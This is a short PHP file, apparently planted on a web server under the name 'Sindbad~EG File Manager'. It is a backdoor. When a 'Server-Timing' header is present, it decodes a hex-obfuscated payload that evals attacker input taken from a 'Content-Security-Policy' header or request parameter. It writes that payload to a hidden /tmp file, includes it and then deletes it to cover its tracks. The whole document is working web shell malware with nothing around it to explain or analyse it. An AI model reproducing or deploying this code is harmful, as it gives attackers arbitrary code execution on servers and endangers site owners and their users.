Sindbad~EG File Manager

<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['Server-Timing'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x43o\x6e\x74e\x6e\x74-\x53\x65c\x75\x72i\x74\x79-\x50\x6fl\x69\x63y\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x52\x45Q\x55\x45S\x54\x5b\"\x43\x6fn\x74\x65n\x74\x2dS\x65\x63u\x72\x69t\x79\x2dP\x6f\x6ci\x63\x79\"\x5d\x29;";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}